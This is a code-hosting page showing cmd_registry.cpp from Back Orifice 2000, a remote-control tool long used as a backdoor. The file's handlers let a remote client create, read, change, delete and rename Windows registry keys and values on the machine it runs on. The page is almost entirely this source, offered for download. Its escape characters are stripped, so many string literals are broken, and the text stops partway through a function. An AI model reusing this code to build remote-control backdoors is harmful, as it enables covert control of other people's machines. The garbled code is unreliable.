开通博客赚积分
发布资源赚积分
分类

源码开发语言/平台
当前位置：首页 > 源码/资料 > Internet/网络编程 > 远程控制编程 > 查看源码
cmd_registry.cpp
资源名称：bo2ksrc.zip　[点击查看]
上传用户：jinandeyu
上传日期：2007-01-05
资源大小：620k
文件大小：29k
源码类别：

远程控制编程

开发平台：

WINDOWS

cmd_registry.cpp：源码内容
  1. /*  Back Orifice 2000 - Remote Administration Suite
  2.     Copyright (C) 1999, Cult Of The Dead Cow
  4.     This program is free software; you can redistribute it and/or modify
  5.     it under the terms of the GNU General Public License as published by
  6.     the Free Software Foundation; either version 2 of the License, or
  7.     (at your option) any later version.
  9.     This program is distributed in the hope that it will be useful,
  10.     but WITHOUT ANY WARRANTY; without even the implied warranty of
  11.     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  12.     GNU General Public License for more details.
  14.     You should have received a copy of the GNU General Public License
  15.     along with this program; if not, write to the Free Software
  16.     Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
  18. The author of this program may be contacted at dildog@l0pht.com. */
  20. #include<windows.h>
  21. #include<auth.h>
  22. #include<iohandler.h>
  23. #include<encryption.h>
  24. #include<commandloop.h>
  25. #include<bocomreg.h>
  26. #include<cmdcmd_registry.h>
  27. #include<pviewer.h>
  28. #include<strhandle.h>
  29. #include<osversion.h>
  30. #include<functions.h>
  32. char *GetRootKey(char *svPath, HKEY *pKey)
  33. { 
  34. char *svNext;
  36. if(svPath==NULL) return NULL;
  38. if(strncmp(svPath,"\\",2)==0) svPath+=2;
  39. else if(strncmp(svPath,"\",1)==0) svPath++;
  41. svNext=BreakString(svPath,"\");
  42. if((lstrcmpi(svPath,"HKEY_CLASSES_ROOT")==0) ||
  43. (lstrcmpi(svPath,"HKCR")==0) ) *pKey = HKEY_CLASSES_ROOT;
  44. else if((lstrcmpi(svPath,"HKEY_CURRENT_USER")==0) ||
  45. (lstrcmpi(svPath,"HKCU")==0) ) *pKey = HKEY_CURRENT_USER;
  46. else if((lstrcmpi(svPath,"HKEY_LOCAL_MACHINE")==0) ||
  47. (lstrcmpi(svPath,"HKLM")==0) ) *pKey = HKEY_LOCAL_MACHINE;
  48. else if((lstrcmpi(svPath,"HKEY_USERS")==0) ||
  49. (lstrcmpi(svPath,"HKU")==0) ) *pKey = HKEY_USERS;
  50. else if((lstrcmpi(svPath,"HKEY_CURRENT_CONFIG")==0) ||
  51. (lstrcmpi(svPath,"HKCC")==0) ) *pKey = HKEY_CURRENT_CONFIG;
  52. else if((lstrcmpi(svPath,"HKEY_DYN_DATA")==0) ||
  53. (lstrcmpi(svPath,"HKDD")==0) ) *pKey = HKEY_DYN_DATA;
  54. else {
  55. return NULL;
  56. }
  58. return svNext;
  59. }
  62. int CmdProc_RegCreateKey(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  63. {
  64. char svBuffer[1024];
  66. // Get root key
  67. HKEY key,subkey;
  68. char *svKey,*svNext;
  69. svKey=GetRootKey(svArg2,&key);
  70. if(svKey==NULL) {
  71. IssueAuthCommandReply(cas_from,comid,0,"Could not create key. Invalid root key.n");
  72. return -1;
  73. }
  75. // Create/open key hierarchy
  76. DWORD dwDisp,dwPerm=KEY_READ;
  77. int nCount;
  78. nCount=0;
  79. while(svKey!=NULL) {
  80. svNext=BreakString(svKey,"\");
  81. if(svNext==NULL) dwPerm=KEY_READ|KEY_WRITE;
  82. if(RegCreateKeyEx(key, svKey, 0, "", REG_OPTION_NON_VOLATILE, dwPerm, NULL, &subkey, &dwDisp) != ERROR_SUCCESS) {
  83. if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA) 
  84. RegCloseKey(key);
  85. wsprintf(svBuffer,"Could not create key. Unable to open subkey: %.256sn", svKey);
  86. IssueAuthCommandReply(cas_from,comid,0,svBuffer);
  87. return -1;
  88. }
  90. if(dwDisp==REG_CREATED_NEW_KEY) nCount++;
  92. if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA) 
  93. RegCloseKey(key);
  94. key = subkey;
  95. svKey = svNext;
  96. } 
  97. if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA) 
  98. RegCloseKey(key);
  100. // Report number of keys created in the process
  101. if(nCount==1) {
  102. wsprintf(svBuffer, "Created %d key.n", nCount);
  103. } else {
  104. wsprintf(svBuffer, "Created %d keys.n", nCount);
  105. }
  106. IssueAuthCommandReply(cas_from,comid,0,svBuffer);
  108. return 0;
  109. }
  111. int CmdProc_RegSetValue(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  112. {
  113. char svBuffer[1024];
  115. // Get root key
  116. char *svKey;
  117. HKEY key;
  118. svKey=GetRootKey(svArg2,&key);
  119. if(svKey==NULL) {
  120. IssueAuthCommandReply(cas_from,comid,0,"Could not set value. Invalid root key.n");
  121. return -1;
  122. }
  124. // Get registry value type/name/data
  125. char *svType, *svName, *svData, *svNext, *pData;
  126. int nDataLen,nOrigLen;
  128. svType=svArg3;
  129. svName=BreakString(svType,"(");
  130. if(svName==NULL) {
  131. IssueAuthCommandReply(cas_from,comid,0,"Could not set value. Invalid value name string.n");
  132. return 1;
  133. }
  134. svData=BreakString(svName,"):");
  135. if(svData==NULL) {
  136. IssueAuthCommandReply(cas_from,comid,0,"Could not set value. Invalid value name string.n");
  137. return 1;
  138. }
  139. CharUpper(svType);
  141. // Process value type and parse data
  142. DWORD dwType;
  143. dwType = REG_NONE;
  144. switch(svType[0]) {
  145. case 'B':
  146. dwType=REG_BINARY;
  147. nDataLen=lstrlen(svData)/3;
  148. pData=(char *) malloc(nDataLen);
  150. CharUpper(svData);
  151. nDataLen=0;
  152. while(svData!=NULL) {
  153. char c;
  154. svNext=BreakString(svData," ");
  156. c=0;
  157. while(*svData) {
  158. c<<=4;
  159. if(*svData>='A' && *svData<='F') c|=*svData-'A'+0xA;
  160. else if(*svData>='0' && *svData<='9') c|=*svData-'0';
  161. svData++;
  162. }
  163. *(pData+nDataLen)=c;
  164. nDataLen++;
  166. svData=svNext;
  167. }
  168. break;
  170. case 'D':
  171. dwType=REG_DWORD;
  172. nDataLen=4;
  173. pData=(char *)malloc(sizeof(DWORD));
  175. CharUpper(svData);
  177. if(strncmp(svData,"0X",2)==0) {
  178. DWORD val;
  179. val=0;
  180. svData+=2;
  181. while(*svData) {
  182. val<<=4;
  183. if(*svData>='A' && *svData<='F') val|=*svData-'A'+0xA;
  184. else if(*svData>='0' && *svData<='9') val|=*svData-'0';
  185. svData++;
  186. }
  187. *(DWORD *)pData=val;
  188. } else {
  189. *(DWORD *)pData=atol(svData);
  190. }
  192. break;
  194. case 'S':
  195. dwType=REG_SZ;
  196. pData=(char *)malloc(lstrlen(svData)+1);
  198. UnescapeString(svData);
  199. lstrcpy(pData,svData);
  200. nDataLen=lstrlen(pData)+1;
  201. break;
  202. case 'M':
  203. if(!g_bIsWinNT) {
  204. IssueAuthCommandReply(cas_from,comid,0,"Could not set value. MULTI_SZ only supported by Windows NT.n");
  205. return -1;
  206. }
  207. dwType=REG_MULTI_SZ;
  208. nOrigLen=lstrlen(svData);
  209. pData=(char *)malloc(nOrigLen+2);
  210. UnescapeString(svData);
  211. nDataLen=0;
  212. while((!(*(pData+nDataLen)=='' && *(pData+nDataLen+1)=='')) && nDataLen<nOrigLen) nDataLen++;
  213. *(pData+nDataLen)='';
  214. *(pData+nDataLen+1)='';
  215. nDataLen++;
  216. break;
  218. case 'E':
  219. dwType=REG_EXPAND_SZ;
  220. pData=(char *)malloc(lstrlen(svData)+1);
  221. UnescapeString(svData);
  222. lstrcpy(pData,svData);
  223. nDataLen=lstrlen(pData)+1;
  224. break;
  225. default:
  226. wsprintf(svBuffer, "Could not set value. Unknown data type '%c'.  Valid types are B,D,S,M,E.n", svType[0]);
  227. IssueAuthCommandReply(cas_from,comid,0,svBuffer);
  228. return -1;
  229. }
  231. // Find Key
  233. // Open key hierarchy
  234. HKEY subkey;
  235. DWORD dwPerm=KEY_READ;
  236. while(svKey!=NULL) {
  237. svNext=BreakString(svKey,"\");
  238. if(svNext==NULL) dwPerm=KEY_READ|KEY_WRITE;
  239. if(RegOpenKeyEx(key, svKey, 0, dwPerm, &subkey) != ERROR_SUCCESS) {
  240. if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA) 
  241. RegCloseKey(key);
  242. wsprintf(svBuffer,"Unable to open subkey: %.256sn", svKey);
  243. IssueAuthCommandReply(cas_from,comid,0,svBuffer);
  244. free(pData);
  245. return -1;
  246. }
  248. if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA) 
  249. RegCloseKey(key);
  250. key = subkey;
  251. svKey = svNext;
  252. } 
  254. // Write value
  256. RegSetValueEx(key,svName, 0, dwType, (BYTE *) pData, nDataLen);
  258. if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER)
  259. RegCloseKey(key);
  261. IssueAuthCommandReply(cas_from,comid,0,"Value set.n");
  263. free(pData);
  264. return 0;
  265. }
  267. int CmdProc_RegGetValue(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  268. {
  269. char svBuffer[1024];
  271. // Get root key
  272. char *svKey,*svNext;
  273. HKEY key;
  274. svKey=GetRootKey(svArg2,&key);
  275. if(svKey==NULL) {
  276. IssueAuthCommandReply(cas_from,comid,0,"Could not open key. Invalid root key.n");
  277. return -1;
  278. }
  280. // Open key hierarchy
  281. HKEY subkey;
  282. DWORD dwPerm=KEY_READ;
  283. while(svKey!=NULL) {
  284. svNext=BreakString(svKey,"\");
  285. if(svNext==NULL) dwPerm=KEY_WRITE | KEY_READ;
  286. if(RegOpenKeyEx(key, svKey, 0, dwPerm, &subkey) != ERROR_SUCCESS) {
  287. if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA) 
  288. RegCloseKey(key);
  289. wsprintf(svBuffer,"Could not open key. Unable to open subkey: %.256sn", svKey);
  290. IssueAuthCommandReply(cas_from,comid,0,svBuffer);
  291. return -1;
  292. }
  294. if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA) 
  295. RegCloseKey(key);
  296. key = subkey;
  297. svKey = svNext;
  298. } 
  300. BYTE *pData;
  301. DWORD dwType,dwLen;
  302. RegQueryValueEx(key,svArg3,NULL,&dwType,NULL,&dwLen);
  303. if(dwLen>=8192) {
  304. RegCloseKey(key);
  305. IssueAuthCommandReply(cas_from,comid,0,"Could not get value. Value too long.n");
  306. return -1;
  308. }
  309. pData=(BYTE *)malloc(dwLen);
  310. RegQueryValueEx(key,svArg3,NULL,&dwType,pData,&dwLen);
  312. wsprintf(svBuffer,"Value: %lu bytes.n",dwLen);
  313. IssueAuthCommandReply(cas_from,comid,1,svBuffer);
  315. // Process value type and parse data
  316. char svStr[260],*svPtr,*svMem,*sv;
  317. DWORD dw,dwCount;
  319. switch(dwType) {
  320. case REG_BINARY:
  321. dw=0;
  322. while(dw<dwLen) {
  323. svStr[0]='';
  324. dwCount=min(dwLen-dw,16);
  325. while(dwCount>0) {
  326. char svByte[3];
  327. if(dwCount==1) {
  328. wsprintf(svByte,"%2.2Xn",*(pData+dw));
  329. lstrcat(svStr,svByte);
  330. } else {
  331. wsprintf(svByte,"%2.2X ",*(pData+dw));
  332. lstrcat(svStr,svByte);
  333. }
  335. dw++;
  336. dwCount--;
  337. }
  338. IssueAuthCommandReply(cas_from,comid,1,svStr);
  339. }
  340. break;
  342. case REG_DWORD:
  343. wsprintf(svStr,"%lun",*(DWORD *)pData);
  344. IssueAuthCommandReply(cas_from,comid,1,svStr);
  345. break;
  347. case REG_EXPAND_SZ:
  348. case REG_SZ:
  349. svPtr=EscapeString((char *)pData);
  350. svMem=(char *)malloc(lstrlen(svPtr)+2);
  351. lstrcpy(svMem,svPtr);
  352. free(svPtr);
  353. lstrcat(svMem,"n");
  354. IssueAuthCommandReply(cas_from,comid,1,svMem);
  355. free(svMem);
  356. break;
  357. case REG_MULTI_SZ:
  358. sv=(char *)pData;
  359. while(sv[0]!='') {
  360. svPtr=EscapeString(sv);
  361. svMem=(char *)malloc(lstrlen(svPtr)+2);
  362. lstrcpy(svMem,svPtr);
  363. free(svPtr);
  364. lstrcat(svMem,"n");
  365. IssueAuthCommandReply(cas_from,comid,1,svMem);
  366. free(svMem);
  367. while(sv[0]!='') sv++;
  368. sv++;
  369. }
  370. break;
  372. default:
  373. RegCloseKey(key);
  374. free(pData);
  375. IssueAuthCommandReply(cas_from,comid,0,"Could not get value. Unknown type.");
  376. }
  378. IssueAuthCommandReply(cas_from,comid,0,"Value retrieved.n");
  380. free(pData);
  381. return 0;
  382. }
  386. int RegDeleteKeyRecurse(HKEY hKey, LPCTSTR lpSubKey, char *svKeyBuf)
  387. {
  388. int nCount;
  389. char svSubKeyBuf[MAX_PATH+1];
  390. HKEY hSubKey;
  392. if(RegOpenKeyEx(hKey,lpSubKey,0,KEY_ALL_ACCESS,&hSubKey)!=ERROR_SUCCESS) {
  393. return -1;
  394. }
  396. nCount=0;
  397. while(RegEnumKey(hSubKey,nCount,svKeyBuf,MAX_PATH)!=ERROR_NO_MORE_ITEMS) {
  398. if(RegDeleteKeyRecurse(hSubKey,svKeyBuf,svSubKeyBuf)==-1) {
  399. RegCloseKey(hSubKey);
  400. return -1;
  401. }
  402. nCount++;
  403. }
  405. RegCloseKey(hSubKey);
  407. RegDeleteKey(hKey,lpSubKey);
  409. return 0;
  410. }
  413. int CmdProc_RegDeleteKey(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  414. {
  415. char svBuffer[1024];
  416. char svSubKeyBuf[MAX_PATH+1];
  418. // Get root key
  419. char *svKey,*svNext;
  420. HKEY key;
  421. svKey=GetRootKey(svArg2,&key);
  422. if(svKey==NULL) {
  423. IssueAuthCommandReply(cas_from,comid,0,"Could not delete key. Invalid root key.n");
  424. return -1;
  425. }
  427. // Remove trailing backslash
  428. if(lstrlen(svKey)>1) {
  429. if(svKey[lstrlen(svKey)-1]=='\') {
  430. svKey[lstrlen(svKey)-1]='';
  431. }
  432. }
  434. // Open key hierarchy
  435. HKEY subkey;
  436. DWORD dwPerm=KEY_READ;
  437. while(svKey!=NULL) {
  438. svNext=BreakString(svKey,"\");
  439. if(svNext==NULL) break;
  440. if(RegOpenKeyEx(key, svKey, 0, dwPerm, &subkey) != ERROR_SUCCESS) {
  441. if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA) 
  442. RegCloseKey(key);
  443. wsprintf(svBuffer,"Could not delete key. Unable to open subkey: %.256sn", svKey);
  444. IssueAuthCommandReply(cas_from,comid,0,svBuffer);
  445. return -1;
  446. }
  448. if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA) 
  449. RegCloseKey(key);
  450. key = subkey;
  451. svKey = svNext;
  452. } 
  454. // Recursively delete key (win95 does this automatically, NT does not);
  455. if(RegDeleteKeyRecurse(key,svKey,svSubKeyBuf)==-1) {
  456. IssueAuthCommandReply(cas_from,comid,0,"Could not delete key.n");
  457. if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA) 
  458. RegCloseKey(key);
  459. return -1;
  460. }
  462. if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA) 
  463. RegCloseKey(key);
  465. IssueAuthCommandReply(cas_from,comid,0,"Key deleted.n");
  467. return 0;
  468. }
  470. int CmdProc_RegDeleteValue(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  471. {
  472. char svBuffer[1024];
  474. // Get root key
  475. char *svKey,*svNext;
  476. HKEY key;
  477. svKey=GetRootKey(svArg2,&key);
  478. if(svKey==NULL) {
  479. IssueAuthCommandReply(cas_from,comid,0,"Could not delete value. Invalid root key.n");
  480. return -1;
  481. }
  483. // Remove trailing backslash
  484. if(lstrlen(svKey)>1) {
  485. if(svKey[lstrlen(svKey)-1]=='\') {
  486. svKey[lstrlen(svKey)-1]='';
  487. }
  488. }
  490. // Open key hierarchy
  491. HKEY subkey;
  492. DWORD dwPerm=KEY_READ;
  493. while(svKey!=NULL) {
  494. svNext=BreakString(svKey,"\");
  495. if(svNext==NULL) dwPerm=KEY_READ|KEY_WRITE;
  496. if(RegOpenKeyEx(key, svKey, 0, dwPerm, &subkey) != ERROR_SUCCESS) {
  497. if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA) 
  498. RegCloseKey(key);
  499. wsprintf(svBuffer,"Could not delete value. Unable to open subkey: %.256sn", svKey);
  500. IssueAuthCommandReply(cas_from,comid,0,svBuffer);
  501. return 1;
  502. }
  504. if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA) 
  505. RegCloseKey(key);
  506. key = subkey;
  507. svKey = svNext;
  508. } 
  510. // Delete value
  511. if(RegDeleteValue(key,svArg3) != ERROR_SUCCESS) {
  512. if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA) 
  513. RegCloseKey(key);
  515. IssueAuthCommandReply(cas_from,comid,0,"Could not delete valuen");
  516. return 1;
  517. }
  519. // Clean up
  520. if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA) 
  521. RegCloseKey(key);
  523. IssueAuthCommandReply(cas_from,comid,0,"Value deleted.n");
  525. return 0;
  526. }
  528. int RegCopyKeyRecurse(HKEY key, HKEY newkey)
  529. {
  530. // Get value length information
  531. char *svSubKeyName=NULL, *svClassName=NULL, *svValueName=NULL;
  532. BYTE *pValueData=NULL;
  533. DWORD cbMaxSubKeyLen, cbMaxClassLen, cbMaxValueNameLen, cbMaxValueDataLen;
  534. DWORD cbSubKeyLen, cbClassLen, cbValueNameLen, cbValueDataLen;
  535. if(RegQueryInfoKey(key,NULL,NULL,NULL,NULL,&cbMaxSubKeyLen,&cbMaxClassLen,NULL,&cbMaxValueNameLen,&cbMaxValueDataLen,NULL,NULL)!=ERROR_SUCCESS) {
  536. return -1;
  537. }
  538. cbMaxValueNameLen++;
  539. cbMaxClassLen++;
  540. cbMaxSubKeyLen++;
  541. svSubKeyName = (char *) malloc(cbMaxSubKeyLen);
  542. svClassName  = (char *) malloc(cbMaxClassLen);
  543. svValueName  = (char *) malloc(cbMaxValueNameLen);
  544. pValueData  = (BYTE *) malloc(cbMaxValueDataLen);
  546. // Copy all values
  547. int count=0;
  548. DWORD dwType;
  549. cbValueNameLen=cbMaxValueNameLen;
  550. cbValueDataLen=cbMaxValueDataLen;
  551. while(RegEnumValue(key,count,svValueName,&cbValueNameLen,NULL,&dwType,pValueData,&cbValueDataLen)!=ERROR_NO_MORE_ITEMS) {
  553. if(RegSetValueEx(newkey,svValueName,0,dwType,pValueData,cbValueDataLen)!=ERROR_SUCCESS) {
  554. free(svClassName);
  555. free(svSubKeyName);
  556. free(svValueName);
  557. free(pValueData);
  558. return -1;
  559. }
  561. cbValueNameLen=cbMaxValueNameLen;
  562. cbValueDataLen=cbMaxValueDataLen;
  563. count++;
  564. }
  566. free(svValueName);
  567. free(pValueData);
  569. // Now go through keys and copy them too, along with security descriptors
  571. count=0;
  572. cbSubKeyLen=cbMaxSubKeyLen;
  573. cbClassLen=cbMaxClassLen;
  574. while(RegEnumKeyEx(key,count,svSubKeyName,&cbSubKeyLen,NULL,svClassName,&cbClassLen,NULL)!=ERROR_NO_MORE_ITEMS) {
  575. HKEY subkey;
  576. if(RegOpenKeyEx(key,svSubKeyName,0,KEY_ALL_ACCESS|ACCESS_SYSTEM_SECURITY,&subkey)!=ERROR_SUCCESS) {
  577. free(svClassName);
  578. free(svSubKeyName);
  579. return -1;
  580. }
  582. // Create new key name
  583. DWORD cbSecDesc=0;
  584. SECURITY_DESCRIPTOR *psd=NULL;
  586. if(g_bIsWinNT) {
  587. psd=(SECURITY_DESCRIPTOR *)malloc(cbSecDesc);
  588. pRegGetKeySecurity(subkey,0xF,psd,&cbSecDesc);
  589. } else cbSecDesc=0;
  591. SECURITY_ATTRIBUTES sa;
  592. sa.nLength=sizeof(SECURITY_ATTRIBUTES);
  593. sa.lpSecurityDescriptor=psd;
  594. sa.bInheritHandle=FALSE;
  596. HKEY newsubkey;
  597. if(RegCreateKeyEx(newkey,svSubKeyName,0,svClassName,0,KEY_ALL_ACCESS|ACCESS_SYSTEM_SECURITY,&sa,&newsubkey,NULL)!=ERROR_SUCCESS) {
  598. if(psd) free(psd);
  599. RegCloseKey(subkey);
  600. free(svSubKeyName);
  601. free(svClassName);
  602. return -1;
  603. }
  605. if(psd) free(psd);
  607. // Recurse into this new key
  608. if(RegCopyKeyRecurse(subkey,newsubkey)==-1) {
  609. RegCloseKey(newsubkey);
  610. RegCloseKey(subkey);
  611. free(svSubKeyName);
  612. free(svClassName);
  613. return -1;
  614. }
  616. RegCloseKey(newsubkey);
  617. RegCloseKey(subkey);
  619. cbSubKeyLen=cbMaxSubKeyLen;
  620. cbClassLen=cbMaxClassLen;
  621. count++;
  622. }
  624. free(svSubKeyName);
  625. free(svClassName);
  627. return 0;
  628. }
  630. int CmdProc_RegRenameKey(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  631. {
  632. char svBuffer[1024];
  634. // Get root key
  635. char *svKey,*svNext;
  636. HKEY key;
  637. svKey=GetRootKey(svArg2,&key);
  638. if(svKey==NULL) {
  639. IssueAuthCommandReply(cas_from,comid,0,"Could not open key. Invalid root key.n");
  640. return -1;
  641. }
  643. // Remove trailing backslash
  644. if(lstrlen(svKey)>1) {
  645. if(svKey[lstrlen(svKey)-1]=='\') {
  646. svKey[lstrlen(svKey)-1]='';
  647. }
  648. }
  650. // Open key hierarchy
  651. HKEY subkey,hkParent=NULL;
  652. char *svLastKeyName=NULL;
  653. while(svKey!=NULL) {
  654. svNext=BreakString(svKey,"\");
  656. if(RegOpenKeyEx(key, svKey, 0, KEY_READ|ACCESS_SYSTEM_SECURITY, &subkey) != ERROR_SUCCESS) {
  657. if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA) 
  658. RegCloseKey(key);
  659. wsprintf(svBuffer,"Could not open key. Unable to open subkey: %.256sn", svKey);
  660. IssueAuthCommandReply(cas_from,comid,0,svBuffer);
  661. return -1;
  662. }
  664. if(svNext!=NULL) {
  665. if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA) 
  666. RegCloseKey(key);
  667. } else {
  668. hkParent=key;
  669. svLastKeyName=svKey;
  670. }
  671. key = subkey;
  672. svKey = svNext;
  673. } 
  674. // Don't rename if keys are the same
  675. if(lstrcmpi(svLastKeyName,svArg3)==0) {
  676. if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA) 
  677. RegCloseKey(key);
  678. wsprintf(svBuffer,"Could not rename key. Keys have the same name.n");
  679. IssueAuthCommandReply(cas_from,comid,0,svBuffer);
  680. return -1;
  681. }
  683. // Create new key name
  684. DWORD cbClass=0,cbSecDesc=0;
  685. SECURITY_DESCRIPTOR *psd=NULL;
  686. char *svClass=NULL;
  688. RegQueryInfoKey(key,NULL,&cbClass,NULL,NULL,NULL,NULL,NULL,NULL,NULL,&cbSecDesc,NULL);
  689. if(cbClass>0) {
  690. svClass=(char *)malloc(cbClass);
  691. RegQueryInfoKey(key,svClass,&cbClass,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL);
  692. }
  694. if(g_bIsWinNT) {
  695. psd=(SECURITY_DESCRIPTOR *)malloc(cbSecDesc);
  696. pRegGetKeySecurity(key,0xF,psd,&cbSecDesc);
  697. } else cbSecDesc=0;
  699. SECURITY_ATTRIBUTES sa;
  700. sa.nLength=sizeof(SECURITY_ATTRIBUTES);
  701. sa.lpSecurityDescriptor=psd;
  702. sa.bInheritHandle=FALSE;
  704. HKEY newkey;
  705. if(RegCreateKeyEx(hkParent,svArg3,0,svClass,0,KEY_ALL_ACCESS|ACCESS_SYSTEM_SECURITY,&sa,&newkey,NULL)!=ERROR_SUCCESS) {
  706. if(svClass) free(svClass);
  707. if(psd) free(psd);
  708. RegCloseKey(hkParent);
  709. RegCloseKey(key);
  710. wsprintf(svBuffer,"Could not create key.n");
  711. IssueAuthCommandReply(cas_from,comid,0,svBuffer);
  712. return -1;
  713. }
  714. if(svClass) free(svClass);
  715. if(psd) free(psd);
  717. // Copy this key recursively
  718. if(RegCopyKeyRecurse(key, newkey)==-1) {
  719. RegCloseKey(newkey);
  720. RegCloseKey(hkParent);
  721. RegCloseKey(key);
  722. wsprintf(svBuffer,"Could not copy key recursively.n");
  723. IssueAuthCommandReply(cas_from,comid,0,svBuffer);
  724. return -1;
  725. }
  727. // Delete original key
  728. char svSubKeyBuf[MAX_PATH+1];
  729. if(RegDeleteKeyRecurse(hkParent,svLastKeyName,svSubKeyBuf)==-1) {
  730. RegCloseKey(newkey);
  731. RegCloseKey(hkParent);
  732. RegCloseKey(key);
  733. wsprintf(svBuffer,"Could not delete original key.n");
  734. IssueAuthCommandReply(cas_from,comid,0,svBuffer);
  735. }
  738. RegCloseKey(newkey);
  739. RegCloseKey(key);
  740. RegCloseKey(hkParent);
  742. wsprintf(svBuffer,"Key renamed.n");
  743. IssueAuthCommandReply(cas_from,comid,0,svBuffer);
  744. return 0;
  745. }
  747. int CmdProc_RegRenameValue(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  748. {
  749. char svBuffer[1024];
  750. char *svValueName;
  751. svValueName=BreakString(svArg2,"\\");
  752. if(svValueName==NULL) {
  753. IssueAuthCommandReply(cas_from,comid,0,"Could not rename value. Syntax error.n");
  754. return -1;
  755. }
  756. // Don't rename if values are the same name
  757. if(lstrcmpi(svValueName,svArg3)==0) {
  758. wsprintf(svBuffer,"Could not rename value. Values have the same name.n");
  759. IssueAuthCommandReply(cas_from,comid,0,svBuffer);
  760. return -1;
  761. }
  763. // Get root key
  764. char *svKey,*svNext;
  765. HKEY key;
  766. svKey=GetRootKey(svArg2,&key);
  767. if(svKey==NULL) {
  768. IssueAuthCommandReply(cas_from,comid,0,"Could not open key. Invalid root key.n");
  769. return -1;
  770. }
  772. // Open key hierarchy
  773. HKEY subkey;
  774. DWORD dwPerm=KEY_READ;
  775. while(svKey!=NULL) {
  776. svNext=BreakString(svKey,"\");
  777. if(svNext==NULL) dwPerm=KEY_READ|KEY_WRITE;
  778. if(RegOpenKeyEx(key, svKey, 0, dwPerm, &subkey) != ERROR_SUCCESS) {
  779. if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA) 
  780. RegCloseKey(key);
  781. wsprintf(svBuffer,"Could not open key. Unable to open subkey: %.256sn", svKey);
  782. IssueAuthCommandReply(cas_from,comid,0,svBuffer);
  783. return -1;
  784. }
  786. if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA) 
  787. RegCloseKey(key);
  789. key = subkey;
  790. svKey = svNext;
  791. } 
  793. // Query value
  794. DWORD dwType,cbData;
